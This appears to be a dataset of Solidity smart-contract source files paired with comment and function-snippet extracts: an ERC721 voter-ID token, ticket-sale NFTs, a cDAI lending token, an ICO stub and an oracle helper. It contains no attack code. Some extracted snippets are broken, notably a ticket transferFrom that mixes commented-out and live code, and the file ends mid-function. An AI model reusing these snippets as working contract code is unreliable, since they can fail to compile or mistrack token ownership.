file_name
stringlengths 71
779k
| comments
stringlengths 0
29.4k
| code_string
stringlengths 20
7.69M
| __index_level_0__
int64 2
17.2M
|
|---|---|---|---|
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.8.9;
import "IERC721Receiver.sol";
import "IVoterID.sol";
// ERC 721
contract VoterID is IVoterID {
mapping (uint => address) public owners;
mapping (address => uint) public balances;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) public operatorApprovals;
mapping (uint => address) public tokenApprovals;
// owner -> array of tokens owned... ownershipMap[owner][index] = tokenNumber
mapping (address => mapping (uint => uint)) public ownershipMap;
// array of all tokens in existence #enumeration
mapping (uint => uint) public allTokens;
// tokenId -> uri ... typically ipfs://...
mapping (uint => string) public uriMap;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant INTERFACE_ID_ERC165 = 0x01ffc9a7;
bytes4 private constant INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
bytes4 private constant INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
string _name;
string _symbol;
uint public numIdentities = 0;
// owner is a special name in the OpenZeppelin standard that opensea annoyingly expects for their management page
address public _owner_;
// minter has the sole, permanent authority to mint identities, in practice this will be a contract
address public _minter;
event OwnerUpdated(address oldOwner, address newOwner);
event IdentityCreated(address indexed owner, uint indexed token);
/// @dev This emits when ownership of any NFT changes by any mechanism.
/// This event emits when NFTs are created (`from` == 0) and destroyed
/// (`to` == 0). Exception: during contract creation, any number of NFTs
/// may be created and assigned without emitting Transfer. At the time of
/// any transfer, the approved address for that NFT (if any) is reset to none.
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/// @dev This emits when the approved address for an NFT is changed or
/// reaffirmed. The zero address indicates there is no approved address.
/// When a Transfer event emits, this also indicates that the approved
/// address for that NFT (if any) is reset to none.
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/// @dev This emits when an operator is enabled or disabled for an owner.
/// The operator can manage all NFTs of the owner.
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
modifier ownerOnly() {
require (msg.sender == _owner_, 'Identity: Only owner may call this');
_;
}
constructor(address ooner, address minter, string memory nomen, string memory symbowl) {
_owner_ = ooner;
// we set it here with no resetting allowed so we cannot commit to NFTs and then reset
_minter = minter;
_name = nomen;
_symbol = symbowl;
}
// this function creates an identity for free. Only minter can call it.
function createIdentityFor(address thisOwner, uint thisToken, string memory uri) public override {
require(msg.sender == _minter, 'Only minter may create identity');
require(owners[thisToken] == address(0), 'Token already exists');
// for getTokenByIndex below, 0 based index so we do it before incrementing numIdentities
allTokens[numIdentities] = thisToken;
// increment the number of identities
numIdentities = numIdentities + 1;
// set owner of new token
owners[thisToken] = thisOwner;
// append token to tokens owned
ownershipMap[thisOwner][balances[thisOwner]] = thisToken;
// increment balances for owner
balances[thisOwner] = balances[thisOwner] + 1;
uriMap[thisToken] = uri;
emit Transfer(address(0), thisOwner, thisToken);
emit IdentityCreated(thisOwner, thisToken);
}
/// ================= SETTERS =======================================
// change the owner key
function setOwner(address newOwner) external ownerOnly {
address oldOwner = _owner_;
_owner_ = newOwner;
emit OwnerUpdated(oldOwner, newOwner);
}
// manually set the token URI
function setTokenURI(uint token, string memory uri) external ownerOnly {
uriMap[token] = uri;
}
/// ================= ERC 721 FUNCTIONS =============================================
/// @notice Count all NFTs assigned to an owner
/// @dev NFTs assigned to the zero address are considered invalid, and this
/// function throws for queries about the zero address.
/// @param _address An address for whom to query the balance
/// @return The number of NFTs owned by `owner`, possibly zero
function balanceOf(address _address) external view returns (uint256) {
return balances[_address];
}
/// @notice Find the owner of an NFT
/// @dev NFTs assigned to zero address are considered invalid, and queries
/// about them do throw.
/// @param tokenId The identifier for an NFT
/// @return The address of the owner of the NFT
function ownerOf(uint256 tokenId) external view returns (address) {
address ooner = owners[tokenId];
require(ooner != address(0), 'No such token');
return ooner;
}
/// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE
/// TO CONFIRM THAT `to` IS CAPABLE OF RECEIVING NFTS OR ELSE
/// THEY MAY BE PERMANENTLY LOST
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `from` is
/// not the current owner. Throws if `to` is the zero address. Throws if
/// `tokenId` is not a valid NFT.
/// @param from The current owner of the NFT
/// @param to The new owner
/// @param tokenId The NFT to transfer
function transferFrom(address from, address to, uint256 tokenId) public {
require(isApproved(msg.sender, tokenId), 'Identity: Unapproved transfer');
transfer(from, to, tokenId);
}
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `from` is
/// not the current owner. Throws if `to` is the zero address. Throws if
/// `tokenId` is not a valid NFT. When transfer is complete, this function
/// checks if `to` is a smart contract (code size > 0). If so, it calls
/// `onERC721Received` on `to` and throws if the return value is not
/// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`.
/// @param from The current owner of the NFT
/// @param to The new owner
/// @param tokenId The NFT to transfer
/// @param data Additional data with no specified format, sent in call to `to`
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public {
transferFrom(from, to, tokenId);
require(checkOnERC721Received(from, to, tokenId, data), "Identity: transfer to non ERC721Receiver implementer");
}
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev This works identically to the other function with an extra data parameter,
/// except this function just sets data to "".
/// @param from The current owner of the NFT
/// @param to The new owner
/// @param tokenId The NFT to transfer
function safeTransferFrom(address from, address to, uint256 tokenId) public {
safeTransferFrom(from, to, tokenId, '');
}
/// @notice Change or reaffirm the approved address for an NFT
/// @dev The zero address indicates there is no approved address.
/// Throws unless `msg.sender` is the current NFT owner, or an authorized
/// operator of the current owner.
/// @param approved The new approved NFT controller
/// @param tokenId The NFT to approve
function approve(address approved, uint256 tokenId) public {
address holder = owners[tokenId];
require(isApproved(msg.sender, tokenId), 'Identity: Not authorized to approve');
require(holder != approved, 'Identity: Approving self not allowed');
tokenApprovals[tokenId] = approved;
emit Approval(holder, approved, tokenId);
}
/// @notice Enable or disable approval for a third party ("operator") to manage
/// all of `msg.sender`'s assets
/// @dev Emits the ApprovalForAll event. The contract MUST allow
/// multiple operators per owner.
/// @param operator Address to add to the set of authorized operators
/// @param approved True if the operator is approved, false to revoke approval
function setApprovalForAll(address operator, bool approved) external {
operatorApprovals[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
/// @notice Get the approved address for a single NFT
/// @dev Throws if `tokenId` is not a valid NFT.
/// @param tokenId The NFT to find the approved address for
/// @return The approved address for this NFT, or the zero address if there is none
function getApproved(uint256 tokenId) external view returns (address) {
address holder = owners[tokenId];
require(holder != address(0), 'Identity: Invalid tokenId');
return tokenApprovals[tokenId];
}
/// @notice Query if an address is an authorized operator for another address
/// @param _address The address that owns the NFTs
/// @param operator The address that acts on behalf of the owner
/// @return True if `operator` is an approved operator for `owner`, false otherwise
function isApprovedForAll(address _address, address operator) public view returns (bool) {
return operatorApprovals[_address][operator];
}
/// ================ UTILS =========================
function isApproved(address operator, uint tokenId) public view returns (bool) {
address holder = owners[tokenId];
return (
operator == holder ||
operatorApprovals[holder][operator] ||
tokenApprovals[tokenId] == operator
);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function transfer(address from, address to, uint256 tokenId) internal {
require(owners[tokenId] == from, "Identity: Transfer of token that is not own");
require(to != address(0), "Identity: transfer to the zero address");
// Clear approvals from the previous owner
approve(address(0), tokenId);
owners[tokenId] = to;
// decrement from balances n -> n-1
balances[from] = balances[from] - 1;
// balances[from] now points to the tip of the "array", set it to 0
ownershipMap[from][balances[from]] = 0;
// balances[to] points past the tip of the array, set it to the token
ownershipMap[to][balances[to]] = tokenId;
// increment balances[to] to point past the end of the array n-1 -> n
balances[to] = balances[to] + 1;
emit Transfer(from, to, tokenId);
}
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for non-contract addresses
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory data)
private returns (bool)
{
if (!isContract(to)) {
return true;
}
IERC721Receiver target = IERC721Receiver(to);
bytes4 retval = target.onERC721Received(from, to, tokenId, data);
return ERC721_RECEIVED == retval;
}
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external pure returns (bool) {
return (
interfaceId == INTERFACE_ID_ERC721 ||
interfaceId == INTERFACE_ID_ERC165 ||
interfaceId == INTERFACE_ID_ERC721_ENUMERABLE ||
interfaceId == INTERFACE_ID_ERC721_METADATA
);
}
/// ================= ERC721Metadata FUNCTIONS =============================================
/// @notice A descriptive name for a collection of NFTs in this contract
function name() external view returns (string memory) {
return _name;
}
/// @notice An abbreviated name for NFTs in this contract
function symbol() external view returns (string memory) {
return _symbol;
}
/// @notice A distinct Uniform Resource Identifier (URI) for a given asset.
/// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC
/// 3986. The URI may point to a JSON file that conforms to the "ERC721
/// Metadata JSON Schema".
function tokenURI(uint256 _tokenId) external view returns (string memory) {
return uriMap[_tokenId];
}
function owner() public view override returns (address) {
return _owner_;
}
/// ================= ERC721Enumerable FUNCTIONS =============================================
/// @notice Count NFTs tracked by this contract
/// @return A count of valid NFTs tracked by this contract, where each one of
/// them has an assigned and queryable owner not equal to the zero address
function totalSupply() external view override returns (uint256) {
return numIdentities;
}
/// @notice Enumerate valid NFTs
/// @dev Throws if `_index` >= `totalSupply()`.
/// @param _index A counter less than `totalSupply()`
/// @return The token identifier for the `_index`th NFT,
/// (sort order not specified)
function tokenByIndex(uint256 _index) external view returns (uint256) {
require(_index < numIdentities, 'Invalid token index');
return allTokens[_index];
}
/// @notice Enumerate NFTs assigned to an owner
/// @dev Throws if `_index` >= `balanceOf(_owner_)` or if
/// `_owner_` is the zero address, representing invalid NFTs.
/// @param _address An address where we are interested in NFTs owned by them
/// @param _index A counter less than `balanceOf(_owner_)`
/// @return The token identifier for the `_index`th NFT assigned to `_owner_`,
/// (sort order not specified)
function tokenOfOwnerByIndex(address _address, uint256 _index) external view returns (uint256) {
require(_index < balances[_address], 'Index out of range');
require(_address != address(0), 'Cannot query zero address');
return ownershipMap[_address][_index];
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.8.9;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.8.9;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IVoterID {
/**
Minting function
*/
function createIdentityFor(address newId, uint tokenId, string memory uri) external;
/**
Who's in charge around here
*/
function owner() external view returns (address);
/**
How many of these things exist?
*/
function totalSupply() external view returns (uint);
}
|
manually set the token URI
|
function setTokenURI(uint token, string memory uri) external ownerOnly {
uriMap[token] = uri;
}
| 525,059
|
./partial_match/42/0xf6FB95053eFEa81403080b578cDa62006918F3C3/sources/ICO.sol
|
low level token purchase DO NOT OVERRIDE This function has a non-reentrancy guard, so it shouldn't be called by another `nonReentrant` function. beneficiary Recipient of the token purchase/ nonReentrant payable _preValidatePurchase(beneficiary, weiAmount); calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); update state _weiRaised = _weiRaised.add(weiAmount); _processPurchase(beneficiary, tokens); emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens); _updatePurchasingState(beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(beneficiary, weiAmount);
|
function buyTokens(address beneficiary) public view returns(address,uint256,address) {
uint256 weiAmount = 1;
return(beneficiary,weiAmount,address(0));
}
| 8,944,383
|
./partial_match/1/0x508efB44A06a64Bd4020e8c5e8Ecf1A9236C75aE/sources/oracle.sol
|
Re-usable helper function that performs the Oraclize Query. _gasLimit the gas limit is passed, this is used for the Oraclize callback Check if there are any existing tokens. Emit a query failure event. Check if the contract has enough Ether to pay for the query. Emit a query failure event. Set up the cryptocompare API query strings. Create a new oraclize query for each supported token. Store the token symbol used in the query. Create a new oraclize query from the component strings. Store the query ID together with the associated token address. Emit the query success event.
|
function _updateTokenRates(uint256 _gasLimit) private {
address[] memory tokenAddresses = _tokenAddressArray();
if (tokenAddresses.length == 0) {
emit FailedUpdateRequest("no tokens");
emit FailedUpdateRequest("insufficient balance");
strings.slice memory apiSuffix = "&tsyms=ETH&sign=true".toSlice();
for (uint256 i = 0; i < tokenAddresses.length; i++) {
(string memory symbol, , , , , , ) = _getTokenInfo(tokenAddresses[i]);
strings.slice memory sym = symbol.toSlice();
bytes32 queryID = oraclize_query("URL", apiPrefix.concat(sym).toSlice().concat(apiSuffix), _gasLimit);
_queryToToken[queryID] = tokenAddresses[i];
emit RequestedUpdate(sym.toString(), queryID);
}
}
}
| 3,597,769
|
pragma solidity ^0.4.24;
// Sources:
// - Open Zeppelin: https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC721/ERC721BasicToken.sol
// - CryptoKitties
// - CryptoZombies
import "./ERC721.sol";
import "./ERC165.sol";
import "./TicketSale.sol";
import "zeppelin/math/SafeMath.sol";
/** @title Ticket Ownership
* This contract is the one that is deployed for this dApp.
* It inherits TicketSale in order to deploye all the logic,
* and it adds ERC721 nature to the ticket tokens. In order
* for that to happen, ERC165 is also necessary.
*
* The documentation for all the implemented methods in this
* file are in its respective interfaces contracts
*/
contract TicketOwnership is TicketSale, ERC721, ERC165 {
using SafeMath for uint256;
mapping (bytes4 => bool) internal supportedInterfaces;
mapping (uint256 => address) tokenApprovals;
mapping (address => mapping (address => bool)) internal operatorApprovals;
// TicketSale modifier to inherit the contract
constructor(
string _name,
string _ipfsMetaData,
uint32 _maxTickets,
uint8 _maxTicketsPerPerson,
uint256 _ticketPrice
) public TicketSale(_name, _ipfsMetaData, _maxTickets, _maxTicketsPerPerson, _ticketPrice) {
//ERC165 compliant: supports ER721 interface
//supportedInterfaces[this.supportsInterface.selector] = true;
supportedInterfaces[0x80ac58cd] = true;
}
function supportsInterface(bytes4 interfaceID) external view returns (bool){
return supportedInterfaces[interfaceID];
}
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) external view returns (uint256) {
require(_owner != address(0));
return ownerToTickets[_owner].length;
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address ticketOwner = ticketToOwner[_tokenId];
require(ticketOwner != address(0));
return ticketToOwner[_tokenId];
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) public payable {
transferFrom(_from, _to, _tokenId);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public payable {
safeTransferFrom(_from, _to, _tokenId, "");
}
function transferFrom(address _from, address _to, uint256 _tokenId) public payable {
require(isApprovedOrOwner(msg.sender, _tokenId));
require(_to != address(0));
tokenApprovals[_tokenId] = address(0);
// Delete token
for (uint i = 0; i < ownerToTickets[_from].length-1; i++){
if (ownerToTickets[_from][i] == _tokenId) {
/*// delete token
delete ownerToTickets[_from][i];
// fill the empty spot with the last element
ownerToTickets[_from][i] = ownerToTickets[_from][ownerToTickets[_from].length-1];
// delete last element
delete ownerToTickets[_from][ownerToTickets[_from].length-1];
// stop loop, we already found the ticket to delete
ownerToTickets[_from].length--;
*/
// BETTER WAY
// Assign last token to the token we are transferring
ownerToTickets[_from][i] = ownerToTickets[_from][ownerToTickets[_from].length-1];
// Delete duplicate token at the end
ownerToTickets[_from].length--;
break;
}
}
// Add token
ticketToOwner[_tokenId] = _to;
ownerToTickets[_to].push(_tokenId);
emit Transfer(_from, _to, _tokenId);
}
function approve(address _approved, uint256 _tokenId) external payable {
address token_owner = ownerOf(_tokenId);
require(_approved != token_owner);
require(msg.sender == token_owner || isApprovedForAll(token_owner, msg.sender));
// The receiver of the token can't possess more tokens than maxTicketsPerPerson
require(ownerToTickets[_approved].length < maxTicketsPerPerson);
tokenApprovals[_tokenId] = _approved;
emit Approval(token_owner, _approved, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved) external {
require(_operator != msg.sender);
operatorApprovals[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function isApprovedForAll(address _owner, address _operator) public view returns (bool) {
return operatorApprovals[_owner][_operator];
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param _spender address of the spender to query
* @param _tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function isApprovedOrOwner(address _spender, uint256 _tokenId) internal view returns (bool) {
address token_owner = ownerOf(_tokenId);
return (
_spender == token_owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(token_owner, _spender)
);
}
function ticketsOf(address _owner) external view returns (uint256[]) {
return ownerToTickets[_owner];
}
}
|
Delete token fill the empty spot with the last element delete last element stop loop, we already found the ticket to delete BETTER WAY Assign last token to the token we are transferring Delete duplicate token at the end
|
function transferFrom(address _from, address _to, uint256 _tokenId) public payable {
require(isApprovedOrOwner(msg.sender, _tokenId));
require(_to != address(0));
tokenApprovals[_tokenId] = address(0);
for (uint i = 0; i < ownerToTickets[_from].length-1; i++){
if (ownerToTickets[_from][i] == _tokenId) {
delete ownerToTickets[_from][i];
ownerToTickets[_from][i] = ownerToTickets[_from][ownerToTickets[_from].length-1];
delete ownerToTickets[_from][ownerToTickets[_from].length-1];
ownerToTickets[_from].length--;
*/
ownerToTickets[_from][i] = ownerToTickets[_from][ownerToTickets[_from].length-1];
ownerToTickets[_from].length--;
break;
}
}
ownerToTickets[_to].push(_tokenId);
emit Transfer(_from, _to, _tokenId);
}
| 977,581
|
pragma solidity >=0.4.0 <0.6.0;
import "openzeppelin-solidity/contracts/token/ERC20/IERC20.sol";
import "openzeppelin-solidity/contracts/math/SafeMath.sol";
import "./DET.sol";
/*
* Based on open-zeppelin implementation of ERC20 tokens:
* https://github.com/OpenZeppelin/openzeppelin-solidity/blob/9b3710465583284b8c4c5d2245749246bb2e0094/contracts/token/ERC20/ERC20.sol
*/
contract cDAI is IERC20 {
using SafeMath for uint256;
mapping(address => int256) private _balances; // signed int, may be negative!
mapping(address => mapping(address => uint256)) private _allowed;
uint256 private _totalSupply;
DET det;
IERC20 dai;
mapping(address => uint256) detHolderBorrowedCDAI; // keeps track of cdai generated for det holders
mapping(address => uint256) debtTimers; // time of foreclosure for open debts
uint public detDivider;
event DebtSettled(address detHolder);
event Debt(address detHolder, int amount, uint mustBePaidBy);
event ValueChanged(uint daiBalance, uint detDivider);
event Foreclosed(address detHolder, address sender, uint detAmount);
constructor(address _dai, uint supply) public {
dai = IERC20(_dai);
det = DET(msg.sender);
detDivider = 10 * supply;
}
function deposit(uint amount) public {
require(int(amount) > 0, "Deposit too large");
require(dai.transferFrom(msg.sender, address(this), amount), "DAI deposit failed");
_mint(msg.sender, amount);
if (_balances[msg.sender] >= 0 && debtTimers[msg.sender] != 0) {
debtTimers[msg.sender] = 0;
emit DebtSettled(msg.sender);
}
uint daiBalance = dai.balanceOf(address(this));
emit ValueChanged(daiBalance, detDivider);
}
function withdraw(uint amount) public {
require(int(amount) > 0, "Withdraw too large");
require(int(amount) <= _balances[msg.sender], "Insufficient funds");
_burn(msg.sender, amount);
require(dai.transfer(msg.sender, amount), "DAI transfer back to sender failed");
uint daiBalance = dai.balanceOf(address(this));
emit ValueChanged(daiBalance, detDivider);
}
event DuringUpdate(uint currentValue, uint detHolderBorrowedCDAI, address detHolder, int detHolderBalance);
// can be called by anyone. updates cDAI balances of a DET holder after ValueChange events.
// On value increase, DET holder calls it to mint cDAI. On value decrease, anyone may call it to create a debt, and foreclose DET is the holder does not settle it.
function updateDETHolderBalance(address detHolder) public {
uint detHolderBalance = det.balanceOf(detHolder);
// require(detHolderBalance > 0, "Insufficient DET balance");
uint currentValue = dai.balanceOf(address(this)).mul(detHolderBalance).div(detDivider);
// emit DuringUpdate(currentValue, detHolderBorrowedCDAI[detHolder], detHolder, _balances[detHolder]);
// TODO: check this conversion!
int diff = int(currentValue) - int(detHolderBorrowedCDAI[detHolder]);
detHolderBorrowedCDAI[detHolder] = currentValue;
// TBD: maybe use if (diff > 0) SafeAdd else SafeSub(-diff)
if (diff > 0) {
_mint(detHolder, uint(diff));
} else if (diff < 0) {
_burn(detHolder, uint(- diff));
// emit DuringUpdate(currentValue, detHolderBorrowedCDAI[detHolder], detHolder, diff);
}
// _balances[detHolder] += diff;
if (_balances[detHolder] < 0 && debtTimers[detHolder] == 0) {
uint mustBePaidBy = now + 1 hours;
debtTimers[detHolder] = mustBePaidBy;
emit Debt(detHolder, _balances[detHolder], mustBePaidBy);
}
}
function forecloseDET(address detHolder, uint amount) public {
require(int(amount) > 0, "amount too large");
uint daiBalance = dai.balanceOf(address(this));
updateDETHolderBalance(detHolder);
require(_balances[detHolder] + int(amount) <= 0, "DET owner not in debt");
require(debtTimers[detHolder] > 0 && debtTimers[detHolder] < now, "Not due date yet");
uint detAmount = amount * detDivider / daiBalance;
require(_balances[msg.sender] >= int(amount) && det.balanceOf(detHolder) >= detAmount, "Sender doesn't have enough cDAI to foreclose DET");
transfer(detHolder, amount);
det.foreclose(detHolder, msg.sender, detAmount);
emit Foreclosed(detHolder, msg.sender, detAmount);
// Debt fully settled?
if (_balances[detHolder] >= 0) {
debtTimers[detHolder] = 0;
emit DebtSettled(detHolder);
}
}
event BeforeUpdate(uint detValue, address from, address to, int fromBalance, int toBalance, int iamount);
event AfterUpdate(uint detValue, address from, address to, int fromBalance, int toBalance, int iamount);
function transferByDET(address from, address to, uint detAmount) public {
require(msg.sender == address(det), "Only DET contract can call this function");
uint daiBalance = dai.balanceOf(address(this));
uint amount = detAmount.mul(daiBalance).div(detDivider);
int iamount = int(amount);
// emit BeforeUpdate(detValue, from, to, _balances[from], _balances[to], iamount);
require(iamount >= 0, "Amount too large");
// Ensure that balance is updated to current DET value
updateDETHolderBalance(from);
require(iamount <= _balances[from], "Insufficient cDai balance ");
updateDETHolderBalance(to);
// emit AfterUpdate(detValue, from, to, _balances[from], _balances[to], iamount);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
if (_balances[owner] <= 0)
return 0;
return uint(_balances[owner]);
}
function debtOf(address owner) public view returns (int256) {
if (_balances[owner] >= 0)
return 0;
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
int ivalue = int(value);
require(ivalue > 0, "Transfer too large");
require(to != address(0));
require(ivalue <= _balances[msg.sender], "Insufficient balance");
_balances[msg.sender] -= ivalue;
require(_balances[to] + ivalue >= _balances[to], "Balance Overflow");
_balances[to] += ivalue;
emit Transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0), "Spender cannot be address 0x0");
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
int ivalue = int(value);
require(ivalue > 0, "Transfer too large");
require(to != address(0), "Cannot transfer to 0x0");
require(value <= _allowed[from][msg.sender], "value larger than allowed");
require(ivalue <= _balances[from], "value larger than balance");
_balances[from] -= ivalue;
require(_balances[to] + ivalue >= _balances[to]);
_balances[to] += ivalue;
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param amount The amount that will be created.
*/
function _mint(address account, uint amount) internal {
require(int(amount) > 0, "Amount too large");
require(account != address(0));
_totalSupply = _totalSupply.add(amount);
require(_balances[account] + int(amount) >= _balances[account], "Balance overflow ");
_balances[account] += int(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param amount The amount that will be burnt.
*/
function _burn(address account, uint amount) internal {
require(int(amount) > 0, "Amount too large");
require(account != address(0));
_totalSupply = _totalSupply.sub(amount);
_balances[account] -= int(amount);
emit Transfer(account, address(0), amount);
}
}
|
Transfer token for a specified address to The address to transfer to. value The amount to be transferred./
|
function transfer(address to, uint256 value) public returns (bool) {
int ivalue = int(value);
require(ivalue > 0, "Transfer too large");
require(to != address(0));
require(ivalue <= _balances[msg.sender], "Insufficient balance");
_balances[msg.sender] -= ivalue;
require(_balances[to] + ivalue >= _balances[to], "Balance Overflow");
_balances[to] += ivalue;
emit Transfer(msg.sender, to, value);
return true;
}
| 5,423,943
|
./partial_match/1/0x47B0f414d5298CFFF5E043767d6715E2a5D92CC6/sources/BoiChillClub.sol
|
Sets whether `operator` is approved to manage the tokens of the caller. Emits a {ApprovalForAll} event. @solidity memory-safe-assembly Convert to 0 or 1. Update the `isApproved` for (`msg.sender`, `operator`). Emit the {ApprovalForAll} event.
|
function setApprovalForAll(address operator, bool isApproved) public virtual {
assembly {
isApproved := iszero(iszero(isApproved))
mstore(0x1c, operator)
mstore(0x08, _ERC721_MASTER_SLOT_SEED_MASKED)
mstore(0x00, caller())
sstore(keccak256(0x0c, 0x30), isApproved)
mstore(0x00, isApproved)
